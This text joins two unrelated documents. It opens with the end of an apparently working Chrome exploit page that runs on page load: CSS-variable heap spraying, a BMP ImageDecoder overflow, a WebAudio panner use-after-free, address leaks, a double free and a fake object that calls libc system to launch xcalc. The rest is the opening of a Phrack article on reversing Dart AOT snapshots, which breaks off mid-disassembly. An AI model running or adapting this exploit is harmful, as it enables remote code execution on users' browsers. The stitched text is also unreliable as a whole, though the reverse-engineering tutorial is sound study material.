// const kOSSetPermissionsOffset = ‑0x5a09080n;

// const kShellcode = [

// 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc

// ];

const kSystemLibcOffset = ‑0x31af290n;

// this string size +0x34, fits into 0x400 bucket

const kCSSStringCross0x2000 = 'C'.repeat(0x1fcc);

// HRTFPanner sized 0x448, fits into 0x500(?) bucket

const kCSSStringHRTF = 'B'.repeat(0x414); // 0x414 + 0x34 == 0x448

const kCSSString = 'A'.repeat(0x7fcc);

const kSprayPannerCount = 10;

const kTargetCSSVar = '‑‑c13.2';

const audioCtx = new OfflineAudioContext(1, 4096, 4096); var panners = [];

var audioCtxArr = [];

var delayNodeArr = [];

var srcNodeArr = [];

var heapAddr = ‑1n;

var fakePannerAddr = ‑1n;

var chromeBase = ‑1n;

function die(msg) {

console.log(msg);

throw msg;

}

function str2ab(str) {

let buf = new ArrayBuffer(str.length);

let view = new Uint8Array(buf);

for (let i = 0; i < str.length; i++) {

view[i] = str.charCodeAt(i);

}

return buf;

}

function u64(str, is_little_endian = true) {

if (str.length != 8)

die('string length is not 8');

let ab = str2ab(str);

let view = new DataView(ab);

return view.getBigUint64(0, is_little_endian);

}

function swapEndian(n) {

let view = new DataView(new ArrayBuffer(8)); view.setBigUint64(0, n, true);

return view.getBigUint64(0, false);

}

// function sleep(ms) {

// var start = new Date().getTime();

// while (new Date().getTime() < start + ms) { /* wait */ }

// }

function sleep(ms) {

return new Promise(resolve => setTimeout(resolve, ms)); }

function gc() {

let x = [];

for (let i = 0; i < 200; i++) {

x.push(new Array(1024 * 1024));

}

}

function increase_refs(ref_count_) {

let rs = getComputedStyle(div0);

// the default ref_count_ is 2

for (let i = 0; i < ref_count_ ‑ 2; i++) { rs.getPropertyValue(kTargetCSSVar);

}

}

async function allocAudioArray(size, data, count) { const delay = ((size ‑ 0x20) / 4 ‑ 0x80) / 4096;

const prevCount = audioCtxArr.length;

for (let i = 0; i < count; i++) {

let audioCtxDelay = new OfflineAudioContext(1, 4096, 4096); // will alloc ((delay * 4096 * 1024) / 1024 + 0x80) * 4 + 0x20

let delayNode = audioCtxDelay.createDelay(delay); audioCtxArr.push(audioCtxDelay); delayNodeArr.push(delayNode);

}

// FIXME: only the first 0x600 is controled now

// buffer content is getting weird when size is big

if (data.byteLength > 0x600)

die('data too long for Audio Array');

let buffer = audioCtx.createBuffer(1, 0x600, 4096); let dstData = buffer.getChannelData(0);

new Uint8Array(dstData.buffer).set(new Uint8Array(data));

for (let i = 0; i < count; i++) {

let audioCtxDelay = audioCtxArr[prevCount + i]; let delayNode = delayNodeArr[prevCount + i];

let srcNode = audioCtxDelay.createBufferSource(); srcNodeArr.push(srcNode);

srcNode.buffer = buffer; srcNode.connect(delayNode).connect(audioCtxDelay.destination); // audioCtxDelay.suspend(1);

audioCtxDelay.suspend(0x600 / 4096.0); srcNode.start();

audioCtxDelay.startRendering();

}

await sleep(500);

}

async function pwn() {

console.log("start");

let div0 = document.getElementById('div0');

for (let i = 0; i < 30; i++) { div0.style.setProperty(`‑‑sprayA${i}`, kCSSString); div0.style.setProperty(`‑‑sprayC${i}`, kCSSStringCross0x2000); div0.style.setProperty(`‑‑sprayB${i}`, kCSSStringHRTF); }

for (let i = 0; i < 50; i++) {

for (let j = 0; j < 4; j++) {

// spraying allocation of 2 different size spans

// very close to 100% of attempts, the same object is allocated

// after a different sized slot

const CSSValName = `${i}.${j}`.padEnd(0x7fcc, 'A'); div0.style.setProperty(`‑‑a${i}.${j}`, CSSValName); const CSSValName2 = `${i}.${j}`.padEnd(0x1fcc, 'C'); div0.style.setProperty(`‑‑c${i}.${j}`, CSSValName2); }

for (let j = 0; j < 64; j++) {

const CSSValName = `${i}.${j}`.padEnd(0x414, 'B'); div0.style.setProperty(`‑‑b${i}.${j}`, CSSValName); }

}

for (let i = 10; i < 30; i++) { div0.style.removeProperty(`‑‑a${i}.2`);

}

for (let i = 46; i > 20; i‑‑) { div0.style.removeProperty(`‑‑c${i}.0`);

}

gc(); await sleep(500);

console.log("overflowing..."); fetch("/bad.bmp").then(async response => {

let rs = getComputedStyle(div0);

let imageDecoder = new ImageDecoder({

data: response.body,

type: "image/bmp"

});

increase_refs(0xff02); // overflow will overwrite 0xff02 to 0xff00

imageDecoder.decode().then(async () => {

gc(); gc();

await sleep(2500);

let ab = new ArrayBuffer(0x600);

let view = new Uint32Array(ab);

// fake CSSVariableData

view[0] = 1; // ref_count

const newCSSVarLen = 0x19000;

// kMaxVariableBytes

// console.assert(newCSSVarLen <= 2097152, 'CSSLen too long');

// length and flags, set is_8bit_

view[1] = newCSSVarLen | 0x01000000;

for (let i = 2; i < view.length; i++) view[i] = i;

await allocAudioArray(0x2000, ab, 1);

leak();

})

});

}

async function leak() {

console.log("continuing...");

let div0 = document.getElementById('div0');

let rs = getComputedStyle(div0);

let CSSLeak = rs.getPropertyValue(kTargetCSSVar) .substring(0x15000 ‑ 8); console.log(CSSLeak.length.toString(16));

let memoryPattern = /\x02\x00\x00\x00\x14\x04\x00\x01(\d+\.\d+)/g; CSSVars = [...CSSLeak.matchAll(memoryPattern)]; console.log(CSSVars);

if (CSSVars.length < kSprayPannerCount) { console.log("WARN: insufficient CSSVars found, found vs min:", CSSVars.length, "vs", kSprayPannerCount); return;

}

console.log("corrupted with success");

for (let i = 0; i < kSprayPannerCount; i++) { panners.push(audioCtx.createPanner());

}

for (let i = 0; i < kSprayPannerCount; i++) {

// console.log(`removing ‑‑b${CSSVars[i][1]}`);

// i really idk why, but i need add the ref_count_ and remove the

// prop to trigger free

rs.getPropertyValue(`‑‑b${CSSVars[i][1]}`); div0.style.removeProperty(`‑‑b${CSSVars[i][1]}`);

}

gc(); gc(); await sleep(1000);

for (let i = 0; i < panners.length; i++) { panners[i].panningModel = 'HRTF';

}

// free two panners after target CSSVariableData

panners[kSprayPannerCount ‑ 2].panningModel = 'equalpower'; panners[kSprayPannerCount ‑ 1].panningModel = 'equalpower'; await sleep(1000);

let hrtfLeak = rs.getPropertyValue(kTargetCSSVar) .substring(0x15000 ‑ 8);

for (let i = 0; i < CSSVars.length; i++) {

let leak = hrtfLeak.substring(CSSVars[i].index, CSSVars[i].index + 8); console.log("0x" + u64(leak).toString(16),

"0x" + CSSVars[i].index.toString(16));

}

heapAddr = (u64(hrtfLeak.substring(CSSVars[8].index + 8, CSSVars[8].index + 8 + 8)) & 0xfffffffffff00000n) + 0xc000n; fakePannerAddr = heapAddr ‑ 0x959000n + BigInt(CSSVars[8].index); chromeBase = u64(hrtfLeak.substring(CSSVars[8].index, CSSVars[8].index + 8));

chromeBase ‑= kHRTFPannerVtableOffset; console.log("heap leak: 0x" + heapAddr.toString(16), CSSVars[1].index.toString(16));

console.log("chrome leak: 0x" + chromeBase.toString(16), CSSVars[8].index.toString(16)); console.log("fakePannerAddr: 0x" + fakePannerAddr.toString(16)); // search '13.1CCCCC' anon:partition_alloc ; x/gx addr+0x2000‑8

console.log("CSSVarData UAF: 0x" + (heapAddr ‑ 0x982000n) .toString(16));

console.log("hrtfLeak.length: 0x" + hrtfLeak.length.toString(16)); gc();

setTimeout(doubleFree, 1000);

}

async function doubleFree() {

console.log("start free(CSSVariableData)")

let div0 = document.getElementById('div0');

let div1 = document.getElementById('div1');

let audioCtxDelay = audioCtxArr.pop();

let delayNode = delayNodeArr.pop();

let srcNode = srcNodeArr.pop();

let ab = new ArrayBuffer(0x600);

let abFakeObj = new ArrayBuffer(0x600);

let view = new BigUint64Array(ab);

let viewFakeObj = new DataView(abFakeObj);

view[0] = swapEndian(fakePannerAddr ‑ 0x10n);

for (let i = 0; i < viewFakeObj.byteLength; i++) viewFakeObj.setUint8(i, 0x4a); // "J"

const system_addr = chromeBase + kSystemLibcOffset;

// call qword ptr [rax + 8]

viewFakeObj.setBigUint64(0x0, fakePannerAddr + 8n ‑ 8n, true); // viewFakeObj.setBigUint64(8, 0xdeadbeefn, true);

viewFakeObj.setBigUint64(0x8, chromeBase + kWriteListenerOffset, true);

// fake BindState addr

viewFakeObj.setBigUint64(0x10, fakePannerAddr + 0x18n, true);

// start of fake BindState

// 0x636c616378 == xcalc

viewFakeObj.setBigUint64(0x18 + 0,

0x636c616378n /* ‑1 because ref_count_ + 1 */ ‑ 1n, true);

viewFakeObj.setBigUint64(0x18 + 0x8, system_addr, true);

let rs = getComputedStyle(div0);

for (let i = 0; i < 10; i++) { div1.style.setProperty(`‑‑sprayD${i}`, kCSSStringCross0x2000); }

rs.getPropertyValue(kTargetCSSVar); div0.style.removeProperty(kTargetCSSVar);

gc(); gc();

await sleep(1000);

console.log("start free(AudioBuffer)");

// ((0.466796875 * 4096 * 1024) / 1024 + 0x80) * 4 + 0x20 == 0x2000

let delayToAlloc0x2000 = 0.466796875; audioCtxDelay.oncomplete = async () => {

// now freelist is circular A => A

console.log("delay nodes deleted, freelist should be circular"); gc(); gc(); gc(); gc();

await sleep(3000);

// overwrite freelist pointer to fakePannerAddr

// allocAudioArray copy/paste function because on call the same

// func 3 times will start compilation and change heap layout

let audioCtxDelay = new OfflineAudioContext(1, 4096, 4096); let delayNode = audioCtxDelay.createDelay(delayToAlloc0x2000); let buffer = audioCtx.createBuffer(1, 0x600, 4096); let dstData = buffer.getChannelData(0);

new Uint8Array(dstData.buffer).set(new Uint8Array(ab)); let srcNode = audioCtxDelay.createBufferSource(); srcNode.buffer = buffer; srcNode.connect(delayNode).connect(audioCtxDelay.destination); audioCtxDelay.suspend(0x600 / 4096.0); srcNode.start();

audioCtxDelay.startRendering();

// copy/paste

await sleep(500);

// consume freelist entry

div1.style.setProperty('‑‑tick', kCSSStringCross0x2000);

// allocAudioArray copy/paste function because on call the same

// func 3 times will start compilation and change heap layout

let audioCtxDelay3 = new OfflineAudioContext(1, 4096, 4096); let delayNode3 = audioCtxDelay3.createDelay(delayToAlloc0x2000); let buffer3 = audioCtx.createBuffer(1, 0x600, 4096); let dstData3 = buffer3.getChannelData(0);

new Uint8Array(dstData3.buffer).set(new Uint8Array(abFakeObj)); let srcNode3 = audioCtxDelay3.createBufferSource(); srcNode3.buffer = buffer3; srcNode3.connect(delayNode3).connect(audioCtxDelay3.destination); audioCtxDelay3.suspend(0x600 / 4096.0); srcNode3.start();

audioCtxDelay3.startRendering();

// copy/paste

await sleep(1000);

for (let i = panners.length ‑ 3; i >= 0; i‑‑) { panners[i].panningModel = 'equalpower';

}

console.log("destructors called")

};

audioCtxDelay.resume();

}

</script>

</head>

<body onload="pwn();">

<div id="div0"></div>

<div id="div1"></div>

</body>

</html>

Reversing Dart AOT snapshots

==Phrack Inc.==

Volume 0x10, Issue 0x47, Phile #0x0B of 0x11

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Reversing Dart AOT snapshots ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ cryptax ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑ Table of contents

0 ‑ Introduction

1 ‑ First steps at disassembling an AOT snapshot

1.1 No entry point

1.2 Function prologue

1.3 Access to strings

1.4 Function arguments are pushed on the stack

1.5 Small integers are doubled

2 ‑ Dart assembly registers

3 ‑ The THR register

4 ‑ The Dart Object Pool

5 ‑ Snapshot serialization

6 ‑ Representation of integers

7 ‑ Function names

7.1 Stripped or non‑stripped binaries

7.2 Trick for simple programs

7.3 Retrieving function names in more complex situations

8 ‑ Conclusion and perspectives

‑‑ 0 ‑ Introduction

Dart is an object‑oriented programming language with a C‑style syntax, and a few features such as sound null safety. Depending on the desired size vs performance trade‑off, a Dart program can be compiled in various formats: kernel snapshots (the smallest, but the slowest), JIT snapshots, AOT snapshots, and self‑contained executables (the biggest and fastest) [1].

Dart AOT snapshots offer a particular interesting ratio and are therefore used by Flutter release builds [2]. Flutter is an open source UI software development kit which offers the attractive ability to develop applications with a single code‑base and compile them natively for Android and iOS, and also non‑mobile platforms.

The issue for reverse engineers is that Dart AOT snapshots are notably difficult to reverse for the following main reasons:

1. The produced assembly code uses many unique features: specific registers, specific calling conventions, specific encoding of integers.

2. Information about each class used in the snapshot can only be read sequentially. There is no random access, meaning that it is necessary to read information about lots of potentially noninteresting classes before we get to the one we are looking for.

3. The format is not documented and has significantly evolved since the first versions.

In this article, we will explain how to understand Dart assembly, and get the best out of disassemblers, even when they don't support Dart.

‑‑ 1 ‑ First steps at disassembling an AOT snapshot

To illustrate Dart assembly code, we'll work over a simple implementation of the Caesar algorithm in Dart (alphabet translation by 3). We encrypt/decrypt a string containing the sentence "Phrack Issue" followed by a randomly selected issue number.

import 'dart:math'; // for Random

class Caesar {

int shift;

Caesar({this.shift = 3});

String encrypt(String message) {

StringBuffer ciphertext = StringBuffer();

for (int i = 0; i < message.length; i++) { int charCode = message.codeUnitAt(i); charCode = (charCode + shift) % 256; ciphertext.writeCharCode(charCode);

}

return ciphertext.toString();

}

String decrypt(String ciphertext) {

this.shift = ‑this.shift;

String plaintext = this.encrypt(ciphertext); this.shift = ‑this.shift;

return plaintext;

}

}

void main() {

print('Welcome to Caesar encryption');

List<int> issues = [ 70, 71, 72 ];

Random random = Random();

final String message = 'Phrack Issue ${issues[random.nextInt(issues.length)]}'; var caesar = Caesar();

// Encrypt

String ciphertext = caesar.encrypt(message); print(ciphertext);

// Decrypt

String plaintext = caesar.decrypt(ciphertext); print(plaintext);

}

This source code can be compiled to the "AOT snapshot" output format (.aot extension) using the Dart compiler:

$ dart compile aot‑snapshot phrack.dart

Generated: /tmp/caesar/phrack.aot

The resulting snapshot is quite big for very simple code: 831,352 bytes for the non stripped version, and 541,616 bytes for the stripped version (option ‑S).

Let's begin with the non‑stripped AOT snapshot, and load it in a disassembler. In this article, we'll use Radare 2 [3], but the result is largely the same with any disassembler (IDA Pro, Binary Ninja, Ghidra...).

‑‑ 1.1 ‑ No entry point

First of all, the disassembler fails to identify the entry point:

ERROR: Cannot determine entrypoint, using 0x0004c000

The reason for this is that the disassembler does not understand the format of the AOT snapshot. Actually, a "Dart AOT snapshot" contains at least 2 snapshots: one AOT snapshot for Dart itself (Dart VM), and one AOT snapshot per isolate.

A Dart isolate is an independent unit of execution that runs concurrently with other isolates. Each isolate has its own memory heap, stack and event loop. There is always at least 1 isolate, possibly more if the application needs to handle background tasks while displaying other data, for instance. In the example below, the file contains the minimum 2 snapshots:

$ objdump ‑T ./phrack.aot

./phrack.aot: file format elf64‑x86‑64

DYNAMIC SYMBOL TABLE:

000000000004c000 g DO .text 0000000000006860 _kDartVmSnapshotInstructions 0000000000052880 g DO .text 0000000000046910 _kDartIsolateSnapshotInstructions 0000000000000200 g DO .rodata 0000000000008a10 _kDartVmSnapshotData 0000000000008c40 g DO .rodata 000000000003f9d0 _kDartIsolateSnapshotData 00000000000001c8 g DO .note.gnu.build‑id 0000000000000020 _kDartSnapshotBuildId

Radare arbitrarily sets 0x4c000 as the entry point because it is the address of the first symbol (kDartVmSnapshotInstructions). In reality, the main() of our Dart program is contained in a Dart isolate snapshot, and therefore its code is expected to be found within the text segment named kDartIsolateSnapshotInstructions.

Fortunately, if the executable is not stripped, we can search for main in function names to locate our entry point:

[0x0004c000]> afl~main

0x00096b3c 8 351 main

0x00097268 3 33 sym.main_1

sym.main_1 is a low level main() ‑ just like __libc_start_main in C. The real entry point for the Dart program is "main" at 0x00096b3c. In Radare, we go to that address with the command "s" followed by the offset, and retrieve the name of the current symbol with "is.". You can see that main() is indeed in kDartVmSnapshotInstructions:

[0x0004c000]> s main

[0x00096b3c]> is.

nth paddr vaddr bind type size lib name demangled

2 0x00052880 0x00052880 GLOBAL OBJ 289040 _kDartIsolateSnapshotInstructions

‑‑ 1.2 ‑ Function prologue

The function prologue saves the base pointer on the stack and allocates some space. Then, there is an instruction comparing the stack pointer with an offset from register 14. What is this doing?

push rbp

mov rbp, rsp

sub rsp, 0x30

cmp rsp, qword [r14 + 0x38]

This is a Dart specificity that we'll discuss later. Let's first ask all the questions.

‑‑ 1.3 ‑ Access to strings

Our program outputs the welcome message "Welcome to Caesar encryption". We expect to see those ASCII characters loaded in the main at some point. For example, in the assembly produced by a similar C program, we have:

lea rax, str.Welcome_to_Caesar_encryption

mov rdi, rax

call sym.imp.puts

The bytes at the address of symbol str.Welcome_to_Caesar_encryption are the ASCII characters of the string. Reciprocally, if we search cross references for this string ("axt"), we get the address of the lea instruction:

[0x000012c2]> s str.Welcome_to_Caesar_encryption [0x00002004]> px 20

‑ offset ‑ 4 5 6 7 8 9 A B C D E F 1011 1213 456789ABCDEF0123 0x00002004 5765 6c63 6f6d 6520 746f 2043 6165 7361 Welcome to Caesa

0x00002014 7220 656e r en

[0x00002004]> axt

main 0x139b [DATA:r‑‑] lea rax, str.Welcome_to_Caesar_encryption

With the Dart assembly, we have no such thing. Those are the instructions before the first call to print(). One way or another, the string "Welcome to Caesar encryption" has to be provided, but we can't see it. We can only assume it is referenced by r15 + 0x168f, but what is r15, and where does that go?

mov r11, qword [r15 + 0x168f]

mov qword [rsp], r11

call sym.printToConsole

From another angle, we do find the string in the list of strings ("iz") at address 0x00033680, but there is apparently no reference to it ("axt" does not return any hit):

[0x00096b3c]> iz~Welcome

2589 0x00033680 0x00033680 28 29 .rodata ascii Welcome to Caesar encryption [0x00096b3c]> axt @ 0x00033680

So, this is yet another mystery to solve: how are strings accessed? What is in r15? What is at r15 + 0x168f?

‑‑ 1.4 ‑ Function arguments are pushed on the stack

There is something else to notice in the Dart assembly above. Normally, at least the first few arguments of a function are copied to dedicated registers (the exact registers depend on the platform architecture). In Dart assembly, notice how function arguments are copied on the stack:

mov qword [rsp], r11

call sym.printToConsole

The argument for the method printToConsole() is in r11. This argument is copied to the address pointed at by rsp, the register stack pointer. This does not follow standard conventions [4]. We'll even allow ourselves to digress slightly: On x86‑64, rsp is the name of the register holding a pointer to the stack. On Aarch64, there is normally no such register and Dart creates one, X15, that it uses as a stack pointer.

‑‑ 1.5 ‑ Small integers are doubled

In the Dart assembly code, just after the call to printToConsole, we notice startling instructions concerning an array:

call sym.printToConsole

mov rbx, qword [r14 + 0x68]

mov r10d, 6

call sym.stub__iso_stub_AllocateArrayStub

mov qword [var_8h], rax

mov r11d, 0x8c

mov qword [rax + 0x17], r11

mov r11d, 0x8e

mov qword [rax + 0x1f], r11

mov r11d, 0x90

mov qword [rax + 0x27], r11

Our Dart source code has a single array: the array of Phrack issues with values 70, 71 and 72 (in hexadecimal: 0x46, 0x47 and 0x48):

List<int> issues = [ 70, 71, 72 ];

Instead, the code appears to be loading values 0x8c, 0x8e and 0x90. Why? This is the final mystery we'll solve in this article.

‑‑ 2 ‑ Dart assembly registers

In our previous experiments, we have encountered r14, r15, and we also discussed X15 on Aarch64. The source code explains what these registers are assigned to. For example, this is an excerpt of defined constants for the x86‑64 platform:

enum Register {

RAX = 0,

RCX = 1,

RDX = 2,

RBX = 3,

RSP = 4, // SP

RBP = 5, // FP

RSI = 6,

RDI = 7,

R8 = 8,

R9 = 9,

R10 = 10,

R11 = 11, // TMP

R12 = 12, // CODE_REG

R13 = 13,

R14 = 14, // THR

R15 = 15, // PP

...

}

...

// Caches object pool pointer in generated code.

const Register PP = R15;

...

const Register THR = R14; // Caches current thread in generated code.

The comments are particularly helpful. We learn Dart features a dedicated register pointing to the object pool (PP), and another register pointing to the current thread. In Aarch64 the comments explicitly assign x15 as the Stack Pointer (SP), "SP in Dart code". The other registers, like the Frame Pointer (FP), Link Register (LR) and Program Counter (PC), use the default values for their architecture:

+ ‑‑‑‑‑‑‑‑‑‑‑‑ + ‑‑‑‑‑ + ‑‑‑‑‑ + ‑‑‑

| | PP | THR | SP |

+ ‑‑‑‑‑‑‑‑‑‑‑‑ + ‑‑‑‑‑ + ‑‑‑‑‑ + ‑‑‑

| x86‑64 | r15 | r14 | rsp |

| Aarch32 | r5 | r10 | r13 |

| Aarch64 | x27 | x26 | x15 |

+ ‑‑‑‑‑‑‑‑‑‑‑‑ + ‑‑‑‑‑ + ‑‑‑‑‑ + ‑‑‑

‑‑ 3 ‑ The THR register

We just said Dart dedicates a register to holding a pointer to the current running thread. This is interesting in a reverse engineering context because the offsets to various elements are known. For example, we know that the stack limit is at THR + 0x38 (see: Dart SDK source code; in runtime/vm/compiler/runtime_offsets_extracted.h, search for Thread_stack_limit_offset).

This helps us solve the mystery we mentioned in 1.2. On x86‑64, the THR register is held by r14. So, the last assembly line compares the stack pointer with the stack limit:

push rbp ; save base pointer on the stack mov rbp, rsp ; update base pointer

sub rsp, 0x30 ; allocate space on the stack cmp rsp, qword [r14 + 0x38] ; compare with stack limit

In other words, the last instruction ensures that the operation we performed on the stack do not go beyond its limit, i.e. that there is no stack overflow.

Similarly, we find that THR + 0x68 is a null object. So, the instructions below actually pass a null object as argument to the constructor of the Random class:

mov r11, qword [r14 + 0x68] ; store null object in r11

mov qword [rsp], r11 ; push r11 on the stack

call sym.new_Random ; call constructor for Random()

‑‑ 4 ‑ The Dart Object Pool

The Object Pool is a table which stores and references frequently used objects, immediates and constants within a Dart program.

For example, this is an excerpt of an Object Pool. See how it contains objects (InternetAddressType), strings ("Unexpected address type"), lists, etc:

[pp+0x170] Obj!InternetAddressType@3a7c81 : {

off_8: int(0x2)

}

[pp+0x178] String: "Unexpected address type "

[pp+0x180] String: "%"

[pp+0x188] List(5) [0, 0x2, 0x2, 0x2, Null]

[pp+0x190] List(5) [0, 0x3, 0x3, 0x3, Null]

In the assembly code, objects from the Object Pool are no longer accessed directly, but by an offset to the beginning of the pool. This value is held by the dedicated PP register.

Let's go back to our string mystery (1.3), when we wondered where the input string "Welcome to Caesar encryption" was. Such a string is held in the Object Pool. In x86‑64, the register to access the pool is r15. We spot it just before the call to the encrypt() method. The instruction loads an object from the object pool at offset 0x168f, and passes it on the stack as an argument to printToConsole().

mov r11, qword [r15 + 0x168f]

mov qword [rsp], r11

call sym.printToConsole

As this is our first print, and we know it prints "Welcome to Caesar encryption", we deduce the string is referenced in the Object Pool at this offset. The reason for this is simple. If the reverse engineering were more complex, we'd have nothing to guide us. The real issue is that disassemblers do not read the Object Pool and let us know what is at a given offset.

‑‑ 5 ‑ Snapshot serialization

Why aren't disassemblers reading the Object Pool? What's difficult about that? To answer this question, we need to explain the AOT snapshot format.

A Dart AOT snapshot consists of :

‑ A Header. It holds a magic value (0xdcdcf5f5), the snapshot size, kind and hash. The snapshot hash identifies the Dart SDK version.

‑ A Cluster Information structure. A cluster is a set of objects with the same Dart type. For example, the structure contains the number of clusters.

‑ Several serialized clusters. This as a raw dump of each cluster:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ +

+ Dart AOT Header +

+ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ +

+ Cluster Information +

+ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ +

+ Serialized Cluster 1 +

+ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ +

+ Serialized Cluster 2 +

+ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ +

+ Serialized Cluster 3 +

+ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ +

+ ... +

+ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ +

For reverse engineering, we wish to parse the AOT snapshot format. Reading the header is easy. This is the snapshot header of our Phrack AOT snapshot, parsed with a Flutter header parser[5]:

‑‑‑‑‑‑‑‑‑‑‑

Snapshot

offset = 35904 (0x8c40)

size = 92106

kind = SnapshotKindEnum.kFullAOT

dart sdk version = 3.3.0

features= product no‑code_comments no‑dwarf_stack_traces_mode no‑lazy_dispatchers dedup_instructions no‑tsan no‑asserts x64 linux no‑compressed‑pointers null‑safety

‑‑‑‑‑‑‑‑‑‑‑

Reading the Cluster Information is slightly more difficult because it uses a custom LEB128 format, but once we're aware of that, it poses no more difficulty.

The complexity lies with reading serialized clusters. While we are mostly interested in the serialized Object Pool (yes, the Object Pool is a Dart type, therefore it is serialized in its own cluster), the Dart SDK has over 150 clusters. Unfortunately, there is no way to reach a given cluster (e.g. the Object Pool), we must de‑serialize each cluster one by one until we reach the one we are interested in. Said differently, there is no random access in the snapshot, only sequential access. So, to de‑serialize the Object Pool, we must actually implement de‑serialization of all clusters, because we have no idea which cluster will be dumped before the Object Pool.

This is lots of work, and an additional issue is that the Dart AOT format is not officially documented and continues to evolve with new Dart SDK versions. New versions change flags (for example, the header flag which uses to indicate a "generic snapshot" is now used to identify an AOT snapshot), but also many clusters have appeared. This is why tools such as Darter [6] and Doldrum [7] unfortunately no longer work. In theory, those tools could be ported to the current Dart SDK version, but it would require extensive work, and we do not know how long that work would remain operational.

To circumvent this issue, Blutter [8] uses another strategy. It implements a Dart AOT snapshot dumper, compiled with the appropriate Dart SDK, and uses it to parse the input snapshot. The tool reads the Object Pool and dumps annotated assembly code. It is currently, however, limited to Flutter applications for Android on Aarch64.

‑‑ 6 ‑ Representation of integers

Dart actually supports 2 types of integers: small integers (SMI) and big integers, which are actually called "Mint" for Medium Integer. Small integers fit in 31 bits. If they don't fit, they use the Mint type. The least significant bit is reserved as an indicator: 0 for SMI, and 1 for Mint:

+ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ +

| 31 30 39 ..................... 1 | 0 |

+ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ +

| Value | I |

+ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ +

The immediate consequence to this design choice is that all small integers appear to have their value multiplied by 2.

If we go back to the assembly of 1.5, the instructions appear to be loading values 0x8c, 0x8e and 0x90:

mov r10d, 6

call sym.stub__iso_stub_AllocateArrayStub

mov qword [var_8h], rax

mov r11d, 0x8c

mov qword [rax + 0x17], r11

mov r11d, 0x8e

mov qword [rax + 0x1f], r11

mov r11d, 0x90

mov qword [rax + 0x27], r11

However, if we look more closely according to Dart's representation, the least significant bit of each of those values is 0. Thus, they are SMIs, and their value fits on bits 1‑31. The represented values are consequently 0x8c / 2 = 70, 71 and 72 ‑ which are the 3 integers we put in our integer array.

The same applies to the first instruction: the apparent value of 6 is provided as argument to the array stub function. This is a SMI, so we are initializing an array of 3 cells (6 divided by 2).

For reverse engineering, knowing about this integer representation is particularly useful when strings are represented as lists of ASCII code values. When the ASCII code for character A is 0x41, the assembly will actually need to load a hexadecimal literal of 0x82.

In Radare, the representation of Small Integers can be handled by a simple r2pipe script [9]. For example, in the assembly below, the comments for the 3 small integers were generated by the script:

mov r11d, 0x8c ; Load 0x46 (decimal=70, character="F") mov qword [rax + 0x17], r11

mov r11d, 0x8e ; Load 0x47 (decimal=71, character="G") mov qword [rax + 0x1f], r11

mov r11d, 0x90 ; Load 0x48 (decimal=72, character="H") mov qword [rax + 0x27], r11

‑‑ 7 ‑ Function names

‑‑ 7.1 ‑ Stripped or non‑stripped binaries

When Dart AOT snapshots are not stripped, disassemblers easily find function names. For example, these are all methods of the Caesar class:

[0x0009ec7c]> afl~Caesar

0x00096c9c 3 80 sym.Caesar.decrypt

0x00096d28 10 245 sym.Caesar.encrypt

0x00096e20 1 11 sym.new_Caesar

But, naturally, AOT snapshots can be stripped (‑S option at compilation time), and disassemblers are unable to recover function names and generate dummy names instead:

0x00050d34 20 490 fcn.00050d34

0x0005a0d8 3 121 fcn.0005a0d8

0x0005c440 6 129 fcn.0005c440

0x0007d210 1 30 fcn.0007d210

0x000768d0 1 90 fcn.000768d0

It is then particularly difficult to spot the main() or methods of the Caesar class. They (probably) won't be at the same address, and there is no easy way to locate them, as the assembly code contains no noticeable string, no access to the Object Pool and no function name.

‑‑ 7.2 ‑ Trick for simple programs

In simple programs, we can search for particular instructions. For example, our main() initializes an array of integers. Assigning the first value is done with the instruction "mov r11d, 0x8c". We can search for this instruction.

Note this technique is unlikely to yield good results in a real reverse engineering situation, because (1) we don't know what to look for, (2) we don't have access to the non stripped version, and (3) searching for an instruction will return too many hits.

In the case of our simple Caesar program, the trick works and we are extremely lucky to have a single hit:

[0x0007451f]> /ad mov r11d, 0x8c

0x000744b5 41bb8c000000 mov r11d, 0x8c

With several hits, we would have had to inspect the assembly lines around the hit and check if it matches what the main() is expected to do.

We recognize the main as function fcn.00074480 (in Radare, command "afi" tells you which function you are in, and "pi 15" disassemble 15 instructions):

[0x00034000]> s 0x000744b5

[0x000744b5]> afi~name

name: fcn.00074480

[0x000744b5]> s fcn.00074480

[0x00074480]> pi 15

push rbp

mov rbp, rsp

sub rsp, 0x28

cmp rsp, qword [r14 + 0x38]

jbe 0x745cd

mov r11, qword [r15 + 0x166f]

mov qword [rsp], r11

call fcn.00074ac4

